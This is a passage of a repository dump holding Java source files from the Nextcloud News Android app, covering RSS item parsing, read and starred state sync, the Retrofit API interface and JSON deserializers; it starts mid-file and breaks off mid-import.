e);\n\n        Boolean rtl = getBooleanOrDefault(\"rtl\", false, e);\n\n        if(enclosureLink.trim().equals(\"\") && url.matches(\"^https?://(www.)?youtube.com/.*\")) {\n            enclosureLink = url;\n            enclosureMime = \"youtube\";\n        }\n\n        RssItem rssItem = new RssItem();\n        rssItem.setId(e.get(\"id\").getAsLong());\n        rssItem.setFeedId(e.get(\"feedId\").getAsLong());\n        rssItem.setGuid(guid); // non-null\n        rssItem.setGuidHash(e.get(\"guidHash\").getAsString()); // non-null\n        rssItem.setFingerprint(getStringOrDefault(\"fingerprint\", \"\", e));\n        rssItem.setLastModified(new Date(Long.parseLong(getStringOrDefault(\"lastModified\", \"0\", e))));\n        rssItem.setRead(!e.get(\"unread\").getAsBoolean());\n        rssItem.setRead_temp(rssItem.getRead());\n        rssItem.setStarred(e.get(\"starred\").getAsBoolean());\n        rssItem.setStarred_temp(rssItem.getStarred());\n        rssItem.setPubDate(pubDate);\n        rssItem.setRtl(rtl);\n\n        //Possible XSS fields\n        rssItem.setTitle(getStringOrDefault(\"title\", \"\", e));\n        rssItem.setAuthor(getStringOrDefault(\"author\", \"\", e));\n        rssItem.setLink(url);\n        rssItem.setEnclosureLink(enclosureLink);\n        rssItem.setEnclosureMime(enclosureMime);\n        rssItem.setMediaDescription(mediaDescription);\n\n        if(rssItem.getFingerprint() == null) {\n            rssItem.setFingerprint(UUID.randomUUID().toString());\n        }\n\n        // Calculate the size of the rss items - useful if users run into a SQLiteBlobTooBigException\n        // https://github.com/nextcloud/news-android/issues/887\n        int contentLength = content.length();\n        double sizeInMb = contentLength/1024d/1024d;\n        if(sizeInMb > 0.4) {\n            Log.w(TAG, \"Massive rss item detected - \" + content.length() + \" chars  / \" + content.length() / 1024d / 1024d + \"mb - url: \" + rssItem.getLink());\n\n            // Trim string down to 500k characters\n            int maxLengthAllowed = 500000;\n            if(content.length() > maxLengthAllowed) {\n                Log.w(TAG, \"Limiting rss item size to 500k characters - url:\" + rssItem.getLink());\n                content = content.substring(0, maxLengthAllowed);\n            }\n        } else if(sizeInMb > 0.1) {\n            Log.w(TAG, \"Large rss item detected - \" + content.length() + \" chars  / \" + content.length() / 1024d / 1024d + \"mb - url: \" + rssItem.getLink());\n        }\n\n        try {\n            // try fixing relative image links\n            content = ImageHandler.fixBrokenImageLinksInArticle(url, content);\n\n            // try fixing relative href links\n            content = ImageHandler.fixBrokenHrefInArticle(url, content);\n        } catch (Exception ex) {\n            ex.printStackTrace();\n            Log.e(TAG, \"Error while fixing broken image links in article\" + ex);\n        } catch (OutOfMemoryError error) {\n            error.printStackTrace();\n            Log.e(TAG, \"OutOfMemoryError while fixing broken image links in article\" + error);\n            Log.e(TAG, \"OutOfMemoryError Article length:\" + content.length());\n\n        }\n\n        rssItem.setBody(content);\n\n        String mediaThumbnail = getStringOrEmpty(\"mediaThumbnail\", e); // Possible XSS Fields\n        // in case the server doesn't provide a mediaThumbnail - the app will try to find one\n        if(mediaThumbnail.isEmpty()) {\n            List<String> images = ImageHandler.getImageLinksFromText(url, content);\n            if (!images.isEmpty()) {\n                mediaThumbnail = Html.fromHtml(images.get(0)).toString();\n                // Log.d(TAG, \"extracted mediaThumbnail from body\" + mediaThumbnail);\n            } else {\n                Log.d(TAG, \"extraction of mediaThumbnail not possible - no images detected\");\n            }\n        }\n        rssItem.setMediaThumbnail(mediaThumbnail);\n\n        return rssItem;\n\t}\n\n\tprivate static String getStringOrEmpty(String key, JsonObject jObj) {\n        return getStringOrDefault(key, \"\", jObj);\n    }\n\n    private static String getStringOrDefault(String key, String defaultValue, JsonObject jObj) {\n        if(jObj.has(key) && !jObj.get(key).isJsonNull()) {\n            return jObj.get(key).getAsString();\n        } else {\n            return defaultValue;\n        }\n    }\n\n    @SuppressWarnings(\"SameParameterValue\")\n    private static Boolean getBooleanOrDefault(String key, Boolean defaultValue, JsonObject jObj) {\n        if(jObj.has(key) && !jObj.get(key).isJsonNull()) {\n            return jObj.get(key).getAsBoolean();\n        } else {\n            return defaultValue;\n        }\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/reader/nextcloud/ItemIds.java",
    "content": "package de.luhmer.owncloudnewsreader.reader.nextcloud;\n\nimport java.util.HashSet;\nimport java.util.Set;\n\n/**\n * Created by david on 26.05.17.\n */\n\npublic class ItemIds {\n    private final Set<Long> items = new HashSet<>();\n\n    public ItemIds(Iterable<String> items) {\n        for (String itemId : items) {\n            this.items.add(Long.parseLong(itemId));\n        }\n    }\n\n    public Set<Long> getItems() {\n        return items;\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/reader/nextcloud/ItemMap.java",
    "content": "package de.luhmer.owncloudnewsreader.reader.nextcloud;\n\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.Map;\nimport java.util.Set;\n\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.database.model.RssItem;\n\n/**\n * Created by david on 26.05.17.\n */\n\npublic class ItemMap {\n    private final Set<Map<String, Object>> items = new HashSet<>();\n\n    public ItemMap(Iterable<String> itemIds, DatabaseConnectionOrm dbConn) {\n        for(String idItem : itemIds)\n        {\n            RssItem rssItem = dbConn.getRssItemById(Long.parseLong(idItem));\n            HashMap<String, Object> itemMap = new HashMap<>();\n            itemMap.put(\"feedId\", rssItem.getFeedId());\n            itemMap.put(\"guidHash\", rssItem.getGuidHash());\n            this.items.add(itemMap);\n        }\n    }\n\n    public Set<Map<String, Object>> getItems() {\n        return items;\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/reader/nextcloud/ItemStateSync.java",
    "content": "package de.luhmer.owncloudnewsreader.reader.nextcloud;\n\nimport android.util.Log;\n\nimport java.io.IOException;\nimport java.util.Collection;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.atomic.AtomicInteger;\nimport java.util.stream.Collectors;\n\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.reader.FeedItemTags;\nimport okhttp3.ResponseBody;\nimport retrofit2.Response;\n\n/**\n * Created by david on 26.05.17.\n */\n\npublic class ItemStateSync {\n\n    private static final String TAG = ItemStateSync.class.getCanonicalName();\n\n    public static void PerformItemStateSync(NewsAPI newsApi, DatabaseConnectionOrm dbConn) throws IOException {\n        int MAX_SYNC_ITEMS_PER_REQUEST = 300;\n\n        Map<FeedItemTags, List<String>> itemsToSync = new HashMap<>();\n        itemsToSync.put(\n                FeedItemTags.MARK_ITEM_AS_READ,\n                dbConn.getRssItemsIdsFromList(dbConn.getAllNewReadRssItems())\n        );\n        itemsToSync.put(\n                FeedItemTags.MARK_ITEM_AS_UNREAD,\n                dbConn.getRssItemsIdsFromList(dbConn.getAllNewUnreadRssItems())\n        );\n        itemsToSync.put(\n                FeedItemTags.MARK_ITEM_AS_STARRED,\n                dbConn.getRssItemsIdsFromList(dbConn.getAllNewStarredRssItems())\n        );\n        itemsToSync.put(\n                FeedItemTags.MARK_ITEM_AS_UNSTARRED,\n                dbConn.getRssItemsIdsFromList(dbConn.getAllNewUnstarredRssItems())\n        );\n\n        Log.d(TAG, \"itemsToSync[MARK_ITEM_AS_READ]:\" + itemsToSync.get(FeedItemTags.MARK_ITEM_AS_READ).size());\n        Log.d(TAG, \"itemsToSync[MARK_ITEM_AS_UNREAD]:\" + itemsToSync.get(FeedItemTags.MARK_ITEM_AS_UNREAD).size());\n        Log.d(TAG, \"itemsToSync[MARK_ITEM_AS_STARRED]:\" + itemsToSync.get(FeedItemTags.MARK_ITEM_AS_STARRED).size());\n        Log.d(TAG, \"itemsToSync[MARK_ITEM_AS_UNSTARRED]:\" + itemsToSync.get(FeedItemTags.MARK_ITEM_AS_UNSTARRED).size());\n\n\n        for(Map.Entry<FeedItemTags, List<String>> entry : itemsToSync.entrySet()) {\n            FeedItemTags operation = entry.getKey();\n            Collection<List<String>> itemIdsPartitioned = partitionBasedOnSize(entry.getValue(), MAX_SYNC_ITEMS_PER_REQUEST);\n            for(List<String> itemIds : itemIdsPartitioned) {\n                Log.d(TAG, \"Marking \" + itemIds.size() + \" items as \" + operation.toString());\n                PerformTagExecution(itemIds, operation, dbConn, newsApi);\n            }\n        }\n    }\n\n    static <T> Collection<List<T>> partitionBasedOnSize(List<T> inputList, int size) {\n        final AtomicInteger counter = new AtomicInteger(0);\n        return inputList.stream()\n                .collect(Collectors.groupingBy(s -> counter.getAndIncrement() / size))\n                .values();\n    }\n\n    private static void executeRequest(ExecuteRequestCallable<Response> data, OnSuccessCallable<Void> onSuccess) throws IOException {\n        Response response = data.call();\n        if (response.isSuccessful()) {\n            onSuccess.call();\n        } else {\n            ResponseBody errorBody = response.errorBody();\n            if (errorBody != null) {\n                String errorBodyStr = errorBody.string();\n                Log.e(TAG, errorBodyStr);\n                throw new IOException(errorBodyStr);\n            } else {\n                throw new IOException(\"mark item as read failed - http code: \" + response.code());\n            }\n        }\n\n    }\n\n    private static void PerformTagExecution(List<String> itemIds, FeedItemTags tag, DatabaseConnectionOrm dbConn, NewsAPI newsApi) throws IOException {\n        if (itemIds.size() <= 0) { // Nothing to sync --> Skip\n            return;\n        }\n\n        switch (tag) {\n            case MARK_ITEM_AS_READ:\n                executeRequest(\n                        () -> newsApi.markItemsRead(new ItemIds(itemIds)).execute(),\n                        () -> dbConn.change_readUnreadStateOfItem(itemIds, true)\n                );\n                break;\n            case MARK_ITEM_AS_UNREAD:\n                executeRequest(\n                        () -> newsApi.markItemsUnread(new ItemIds(itemIds)).execute(),\n                        () -> dbConn.change_readUnreadStateOfItem(itemIds, false)\n                );\n                break;\n            case MARK_ITEM_AS_STARRED:\n                executeRequest(\n                        () -> newsApi.markItemsStarred(new ItemMap(itemIds, dbConn)).execute(),\n                        () -> dbConn.changeStarrUnstarrStateOfItem(itemIds, true)\n                );\n                break;\n            case MARK_ITEM_AS_UNSTARRED:\n                executeRequest(\n                        () -> newsApi.markItemsUnstarred(new ItemMap(itemIds, dbConn)).execute(),\n                        () -> dbConn.changeStarrUnstarrStateOfItem(itemIds, false)\n                );\n                break;\n        }\n    }\n\n    interface ExecuteRequestCallable<T> {\n        T call() throws IOException;\n    }\n\n    interface OnSuccessCallable<T> {\n        void call();\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/reader/nextcloud/NewsAPI.java",
    "content": "package de.luhmer.owncloudnewsreader.reader.nextcloud;\n\nimport com.nextcloud.android.sso.api.EmptyResponse;\n\nimport java.util.List;\nimport java.util.Map;\n\nimport de.luhmer.owncloudnewsreader.database.model.Feed;\nimport de.luhmer.owncloudnewsreader.database.model.Folder;\nimport de.luhmer.owncloudnewsreader.database.model.RssItem;\nimport de.luhmer.owncloudnewsreader.model.NextcloudNewsVersion;\nimport de.luhmer.owncloudnewsreader.model.NextcloudStatus;\nimport io.reactivex.rxjava3.core.Completable;\nimport io.reactivex.rxjava3.core.Observable;\nimport okhttp3.ResponseBody;\nimport retrofit2.Call;\nimport retrofit2.http.Body;\nimport retrofit2.http.DELETE;\nimport retrofit2.http.Field;\nimport retrofit2.http.GET;\nimport retrofit2.http.POST;\nimport retrofit2.http.PUT;\nimport retrofit2.http.Path;\nimport retrofit2.http.Query;\nimport retrofit2.http.Streaming;\n\n/**\n * Created by david on 22.05.17.\n */\n\n\npublic interface NewsAPI {\n\n    String mApiEndpoint = \"/index.php/apps/news/api/v1-2/\";\n\n    @GET(\"status\")\n    Observable<NextcloudStatus> status();\n\n    @GET(\"version\")\n    Observable<NextcloudNewsVersion> version();\n\n    /** FOLDERS **/\n    @GET(\"folders\")\n    Observable<List<Folder>> folders();\n\n    /** FEEDS **/\n    @GET(\"feeds\")\n    Observable<List<Feed>> feeds();\n\n    @POST(\"folders\")\n    Call<List<Folder>> createFolder(@Body Map<String, Object> folderMap);\n\n    @POST(\"folders\")\n    Observable<List<Folder>> createFolderObservable(@Body Map<String, Object> folderMap);\n\n    @POST(\"feeds\")\n    Call<List<Feed>> createFeed(@Field(\"url\") String url, @Field(\"folderId\") Long parentFolderID);\n\n\n    @PUT(\"feeds/{feedId}/rename\")\n    Completable renameFeed(@Path(\"feedId\") long feedId, @Body Map<String, String> paramMap);\n\n    @PUT(\"folders/{folderId}\")\n    Completable renameFolder(@Path(\"folderId\") long folderId, @Body Map<String, String> paramMap);\n\n\n    @PUT(\"feeds/{feedId}/move\")\n    Completable moveFeed(@Path(\"feedId\") long feedId, @Body Map<String,Long> folderIdMap);\n\n\n    @DELETE(\"feeds/{feedId}\")\n    Completable deleteFeed(@Path(\"feedId\") long feedId);\n\n    @DELETE(\"folders/{folderId}\")\n    Completable deleteFolder(@Path(\"folderId\") long folderId);\n\n\n    /** ITEMS **/\n    @GET(\"items\")\n    Call<List<RssItem>> items(\n            @Query(\"batchSize\") long batchSize,\n            @Query(\"offset\") long offset,\n            @Query(\"type\") int type,\n            @Query(\"id\") long id,\n            @Query(\"getRead\") boolean getRead,\n            @Query(\"oldestFirst\") boolean oldestFirst\n    );\n\n    @GET(\"items/updated\")\n    @Streaming\n    Observable<ResponseBody> updatedItems(\n            @Query(\"lastModified\") long lastModified,\n            @Query(\"type\") int type,\n            @Query(\"id\") long id\n    );\n\n\n    @PUT(\"items/read/multiple\")\n    Call<EmptyResponse> markItemsRead(@Body ItemIds items);\n\n    @PUT(\"items/unread/multiple\")\n    Call<EmptyResponse> markItemsUnread(@Body ItemIds items);\n\n    @PUT(\"items/star/multiple\")\n    Call<EmptyResponse> markItemsStarred(@Body ItemMap itemMap);\n\n    @PUT(\"items/unstar/multiple\")\n    Call<EmptyResponse> markItemsUnstarred(@Body ItemMap itemMap);\n\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/reader/nextcloud/NextcloudNewsDeserializer.java",
    "content": "package de.luhmer.owncloudnewsreader.reader.nextcloud;\n\nimport com.google.gson.JsonArray;\nimport com.google.gson.JsonDeserializationContext;\nimport com.google.gson.JsonDeserializer;\nimport com.google.gson.JsonElement;\nimport com.google.gson.JsonObject;\nimport com.google.gson.JsonParseException;\n\nimport java.lang.reflect.Type;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport de.luhmer.owncloudnewsreader.database.model.Feed;\nimport de.luhmer.owncloudnewsreader.database.model.Folder;\nimport de.luhmer.owncloudnewsreader.database.model.RssItem;\n\n/**\n * Created by david on 24.05.17.\n */\n\npublic class NextcloudNewsDeserializer<T> implements JsonDeserializer<List<T>> {\n\n    private final String mKey;\n    private final Class<T> mType;\n\n\n    public NextcloudNewsDeserializer(String key, Class<T> type) {\n        this.mKey = key;\n        this.mType = type;\n    }\n\n    public static final String TAG = NextcloudNewsDeserializer.class.getCanonicalName();\n\n    @Override\n    public List<T> deserialize(final JsonElement json, final Type typeOfT, final JsonDeserializationContext context) throws JsonParseException {\n        JsonArray jArr = json.getAsJsonObject().getAsJsonArray(mKey);\n\n        List<T> items = new ArrayList<>();\n        for(int i = 0; i < jArr.size(); i++) {\n            if(mType == Folder.class) {\n                items.add((T) parseFolder(jArr.get(i).getAsJsonObject()));\n            } else if(mType == Feed.class) {\n                items.add((T) parseFeed(jArr.get(i).getAsJsonObject()));\n            } else if(mType == RssItem.class) {\n                items.add((T) InsertRssItemIntoDatabase.parseItem(jArr.get(i).getAsJsonObject()));\n            }\n        }\n\n        return items;\n    }\n\n\n    private Folder parseFolder(JsonObject e) {\n        return new Folder(e.get(\"id\").getAsLong(), getNullAsEmptyString(e.get(\"name\")));\n    }\n\n    private Feed parseFeed(JsonObject e) {\n        String faviconLink = getNullAsEmptyString(e.get(\"faviconLink\"));\n        if(faviconLink != null)\n            if(faviconLink.equals(\"null\") || faviconLink.trim().equals(\"\"))\n                faviconLink = null;\n\n        Feed feed = new Feed();\n        feed.setNotificationChannel(\"default\");\n        feed.setId(e.get(\"id\").getAsLong());\n\n        JsonElement folderId = e.get(\"folderId\");\n        if(folderId.isJsonNull()) {\n            feed.setFolderId(0L);\n        } else {\n            feed.setFolderId(folderId.getAsLong());\n        }\n\n        feed.setFaviconUrl(faviconLink);\n\n        //Possible XSS fields\n        feed.setFeedTitle(getNullAsEmptyString(e.get(\"title\")));\n        feed.setLink(getNullAsEmptyString(e.get(\"url\")));\n        //feed.setLink(e.optString(\"link\"));\n\n        return feed;\n    }\n\n\n    private String getNullAsEmptyString(JsonElement jsonElement) {\n        return jsonElement.isJsonNull() ? \"\" : jsonElement.getAsString();\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/reader/nextcloud/NextcloudServerDeserializer.java",
    "content": "package de.luhmer.owncloudnewsreader.reader.nextcloud;\n\nimport com.google.gson.JsonDeserializationContext;\nimport com.google.gson.JsonDeserializer;\nimport com.google.gson.JsonElement;\nimport com.google.gson.JsonObject;\nimport com.google.gson.JsonParseException;\n\nimport java.lang.reflect.Type;\n\nimport de.luhmer.owncloudnewsreader.model.OcsUser;\n\n/**\n * Created by david on 24.05.17.\n */\n\npublic class NextcloudServerDeserializer<T> implements JsonDeserializer<T> {\n\n    private final String mKey;\n    private final Class<T> mType;\n\n\n    public NextcloudServerDeserializer(String key, Class<T> type) {\n        this.mKey = key;\n        this.mType = type;\n    }\n\n    public static final String TAG = NextcloudServerDeserializer.class.getCanonicalName();\n\n    @Override\n    public T deserialize(JsonElement json, Type typeOfT, JsonDeserializationContext context) throws JsonParseException {\n        if(typeOfT == OcsUser.class) {\n            return (T) this.parseOcsUser(json.getAsJsonObject());\n        }\n        return null;\n    }\n\n    private static OcsUser parseOcsUser(JsonObject obj) {\n        OcsUser ocsUser = new OcsUser();\n        JsonElement data = obj.get(\"ocs\").getAsJsonObject().get(\"data\");\n        if (!data.isJsonNull()) {\n            JsonObject user = data.getAsJsonObject();\n            if (user.has(\"id\")) {\n                ocsUser.setId(user.get(\"id\").getAsString());\n            }\n            if (user.has(\"displayname\")) {\n                ocsUser.setDisplayName(user.get(\"displayname\").getAsString());\n            } else if (user.has(\"display-name\")) {\n                ocsUser.setDisplayName(user.get(\"display-name\").getAsString());\n            }\n        }\n        return ocsUser;\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/reader/nextcloud/OcsAPI.java",
    "content": "package de.luhmer.owncloudnewsreader.reader.nextcloud;\n\nimport de.luhmer.owncloudnewsreader.model.OcsUser;\nimport io.reactivex.rxjava3.core.Observable;\nimport retrofit2.http.GET;\n\npublic interface OcsAPI {\n\n    String mApiEndpoint = \"/ocs/v2.php/\";\n\n    @GET(\"cloud/user?format=json\")\n    Observable<OcsUser> user();\n\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/reader/nextcloud/RssItemObservable.java",
    "content": "package de.luhmer.owncloudnewsreader.reader.nextcloud;\n\nimport android.content.SharedPreferences;\nimport android.util.Log;\n\nimport com.google.gson.JsonObject;\nimport com.google.gson.stream.JsonReader;\nimport com.google.gson.stream.JsonToken;\n\nimport org.reactivestreams.Publisher;\nimport org.reactivestreams.Subscriber;\n\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Objects;\n\nimport de.luhmer.owncloudnewsreader.Constants;\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.database.model.RssItem;\nimport de.luhmer.owncloudnewsreader.reader.FeedItemTags;\nimport io.reactivex.rxjava3.annotations.NonNull;\nimport io.reactivex.rxjava3.core.Observable;\nimport io.reactivex.rxjava3.core.ObservableSource;\nimport io.reactivex.rxjava3.core.Observer;\nimport io.reactivex.rxjava3.disposables.Disposable;\nimport io.reactivex.rxjava3.functions.Function;\nimport okhttp3.ResponseBody;\nimport okio.BufferedSource;\n\n/**\n * onNext returns the current amount of synced items\n */\npublic class RssItemObservable implements Publisher<Integer> {\n\n    private final DatabaseConnectionOrm mDbConn;\n    private final NewsAPI mNewsApi;\n    private final SharedPreferences mPrefs;\n    private static final String TAG = RssItemObservable.class.getCanonicalName();\n    private static final int maxSizePerSync = 200;\n\n    public RssItemObservable(DatabaseConnectionOrm dbConn, NewsAPI newsApi, SharedPreferences prefs) {\n        this.mDbConn = dbConn;\n        this.mNewsApi = newsApi;\n        this.mPrefs = prefs;\n    }\n\n    @Override\n    public void subscribe(Subscriber<? super Integer> s) {\n        try {\n            sync(s);\n            s.onComplete();\n        } catch (Exception ex) {\n            s.onError(ex);\n        }\n    }\n\n    public static Observable<RssItem> events(final BufferedSource source) {\n        return Observable.create(e -> {\n            try {\n                InputStreamReader isr = new InputStreamReader(source.inputStream());\n                BufferedReader br = new BufferedReader(isr);\n\n                try (isr; br; JsonReader reader = new JsonReader(br)) {\n                    reader.beginObject();\n\n                    String currentName;\n                    while (reader.hasNext() && (currentName = reader.nextName()) != null) {\n                        if (currentName.equals(\"items\")) {\n                            break;\n                        } else {\n                            reader.skipValue();\n                        }\n                    }\n\n                    reader.beginArray();\n                    while (reader.hasNext()) {\n                        JsonObject jsonObj = getJsonObjectFromReader(reader);\n                        RssItem item = InsertRssItemIntoDatabase.parseItem(Objects.requireNonNull(jsonObj));\n                        e.onNext(item);\n                    }\n                    reader.endArray();\n                }\n            } catch (IOException | NullPointerException err) {\n                err.printStackTrace();\n                e.onError(err);\n            }\n            e.onComplete();\n        });\n    }\n\n    private static long getMaxIdFromItems(List<RssItem> buffer) {\n        long max = 0;\n        for (RssItem item : buffer) {\n            if (item.getId() > max) {\n                max = item.getId();\n            }\n        }\n        return max;\n    }\n\n    public static boolean performDatabaseBatchInsert(DatabaseConnectionOrm dbConn, List<RssItem> buffer) {\n        Log.v(TAG, \"performDatabaseBatchInsert() called with [\" + buffer.size() + \" rss items]\");\n        dbConn.insertNewItems(buffer);\n        buffer.clear();\n        return true;\n    }\n\n    public void sync(Subscriber<? super Integer> subscriber) throws IOException {\n        mDbConn.clearDatabaseOverSize();\n\n        long lastModified = mDbConn.getLastModified();\n\n        int requestCount = 0;\n        int totalCount = 0;\n        int maxSyncSize = maxSizePerSync;\n\n        if (lastModified == 0) { // Only on first sync\n            long offset = 0;\n\n            Log.v(TAG, \"First sync - download all available unread articles!!\");\n            // int maxItemsInDatabase = Constants.maxItemsCount;\n\n            do {\n                Log.v(TAG, \"[unread] offset=\" + offset + \",  requestCount=\" + requestCount + \", maxSyncSize=\" + maxSyncSize + \", total downloaded=\" + totalCount);\n                List<RssItem> buffer = (mNewsApi.items(maxSyncSize, offset, Integer.parseInt(FeedItemTags.ALL.toString()), 0, false, true).execute().body());\n\n                requestCount = 0;\n                if(buffer != null) {\n                    requestCount = buffer.size();\n                    performDatabaseBatchInsert(mDbConn, buffer);\n                }\n\n                if(requestCount > 0)\n                    offset = mDbConn.getHighestItemId();\n                totalCount += requestCount;\n\n                subscriber.onNext(totalCount);\n            } while(requestCount == maxSyncSize);\n\n            Log.v(TAG, \"[all] offset=\" + offset + \",  requestCount=\" + requestCount + \", maxSyncSize=\" + maxSyncSize);\n\n            Log.v(TAG, \"Sync all items done - Synchronizing all starred articles now\");\n\n            mPrefs.edit().putInt(Constants.LAST_UPDATE_NEW_ITEMS_COUNT_STRING, totalCount).apply();\n\n            offset = 0;\n            do {\n                List<RssItem> buffer = mNewsApi.items(maxSyncSize, offset, Integer.parseInt(FeedItemTags.ALL_STARRED.toString()), 0, true, true).execute().body();\n                requestCount = 0;\n                if(buffer != null) {\n                    requestCount = buffer.size();\n                    offset = getMaxIdFromItems(buffer); // get maximum id of returned items\n                    performDatabaseBatchInsert(mDbConn, buffer);\n                }\n                Log.v(TAG, \"[starred] offset=\" + offset + \",  requestCount=\" + requestCount + \", maxSyncSize=\" + maxSyncSize + \", total downloaded=\" + totalCount);\n                totalCount += requestCount;\n\n                subscriber.onNext(totalCount);\n            } while(requestCount == maxSyncSize);\n        } else {\n            Log.v(TAG, \"Incremental sync!!\");\n            //First reset the count of last updated items\n            mPrefs.edit().putInt(Constants.LAST_UPDATE_NEW_ITEMS_COUNT_STRING, 0).apply();\n\n            // long highestItemIdBeforeSync = mDbConn.getHighestItemId();\n\n            // Get all updated items\n            mNewsApi.updatedItems(lastModified, Integer.parseInt(FeedItemTags.ALL.toString()), 0)\n                    .flatMap((Function<ResponseBody, ObservableSource<RssItem>>) responseBody -> events(responseBody.source()))\n                    .subscribe(new Observer<>() {\n                        int totalUpdatedUnreadItemCount = 0;\n                        final int bufferSize = maxSizePerSync / 2;\n                        final List<RssItem> buffer = new ArrayList<>(bufferSize); // Buffer of size X\n\n                        @Override\n                        public void onSubscribe(@NonNull Disposable d) {\n                            Log.v(TAG, \"onSubscribe() called\");\n                        }\n\n                        @Override\n                        public void onNext(@NonNull RssItem rssItem) {\n                            long rssLastModified = rssItem.getLastModified().getTime();\n                            // Log.v(TAG, \"onNext() rssItem: \" + rssItem.getTitle() + \" - \" + rssItem.getLastModified());\n\n                            // If updated item is unread and last modification was different from last sync time\n                            if (!rssItem.getRead() && rssLastModified != lastModified) {\n                                totalUpdatedUnreadItemCount++;\n                            }\n\n                            buffer.add(rssItem);\n                            if (buffer.size() >= bufferSize) {\n                                Log.v(TAG, \"onNext() buffer size exceeded - insert items: \" + buffer.size());\n                                performDatabaseBatchInsert(mDbConn, buffer);\n                            }\n                        }\n\n                        @Override\n                        public void onError(@NonNull Throwable e) {\n                            Log.e(TAG, \"onError() called with: e = [\" + e + \"]\");\n                        }\n\n                        @Override\n                        public void onComplete() {\n                            Log.v(TAG, \"onComplete() called - items: \" + buffer.size());\n                            performDatabaseBatchInsert(mDbConn, buffer);\n\n                            //If no exception occurs, set the number of updated items\n                            mPrefs.edit().putInt(Constants.LAST_UPDATE_NEW_ITEMS_COUNT_STRING, totalUpdatedUnreadItemCount).apply();\n                        }\n                    });\n        }\n    }\n\n\n    private static JsonObject getJsonObjectFromReader(JsonReader jsonReader) {\n        JsonObject jObj = new JsonObject();\n        JsonToken tokenInstance;\n        try {\n            tokenInstance = jsonReader.peek();\n            if(tokenInstance == JsonToken.BEGIN_OBJECT)\n                jsonReader.beginObject();\n            else if (tokenInstance == JsonToken.BEGIN_ARRAY)\n                jsonReader.beginArray();\n\n            while(jsonReader.hasNext()) {\n                JsonToken token;\n                String name;\n                try {\n                    name = jsonReader.nextName();\n                    token = jsonReader.peek();\n\n                    //Log.d(TAG, token.toString());\n\n                    switch(token) {\n                        case NUMBER:\n                            jObj.addProperty(name, jsonReader.nextLong());\n                            break;\n                        case NULL:\n                            jsonReader.skipValue();\n                            break;\n                        case BOOLEAN:\n                            jObj.addProperty(name, jsonReader.nextBoolean());\n                            break;\n                        case BEGIN_OBJECT:\n                            jObj.add(name, getJsonObjectFromReader(jsonReader));\n                            break;\n                        case BEGIN_ARRAY:\n                            jsonReader.skipValue();\n                            break;\n                        default:\n                            jObj.addProperty(name, jsonReader.nextString());\n                    }\n                } catch(Exception ex) {\n                    ex.printStackTrace();\n                    jsonReader.skipValue();\n                }\n            }\n\n            if(tokenInstance == JsonToken.BEGIN_OBJECT)\n                jsonReader.endObject();\n            else if (tokenInstance == JsonToken.BEGIN_ARRAY)\n                jsonReader.endArray();\n\n            return jObj;\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        return null;\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/reader/nextcloud/Types.java",
    "content": "package de.luhmer.owncloudnewsreader.reader.nextcloud;\n\n/**\n * Created by david on 24.05.17.\n */\n\npublic enum Types {\n\n    FOLDERS(\"folders\"),\n    FEEDS(\"feeds\"),\n    ITEMS(\"items\");\n\n    private final String text;\n\n    /**\n     * @param text\n     */\n    private Types(final String text) {\n        this.text = text;\n    }\n\n    /* (non-Javadoc)\n     * @see java.lang.Enum#toString()\n     */\n    @Override\n    public String toString() {\n        return text;\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/services/DownloadImagesService.java",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader.services;\n\nimport android.app.NotificationManager;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.util.Log;\n\nimport androidx.annotation.NonNull;\nimport androidx.core.app.JobIntentService;\nimport androidx.core.app.NotificationCompat;\n\nimport com.bumptech.glide.Glide;\nimport com.bumptech.glide.RequestManager;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Objects;\nimport java.util.Random;\n\nimport de.greenrobot.dao.query.LazyList;\nimport de.luhmer.owncloudnewsreader.R;\nimport de.luhmer.owncloudnewsreader.async_tasks.DownloadImageHandler;\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.database.model.Feed;\nimport de.luhmer.owncloudnewsreader.database.model.RssItem;\nimport de.luhmer.owncloudnewsreader.helper.FavIconHandler;\nimport 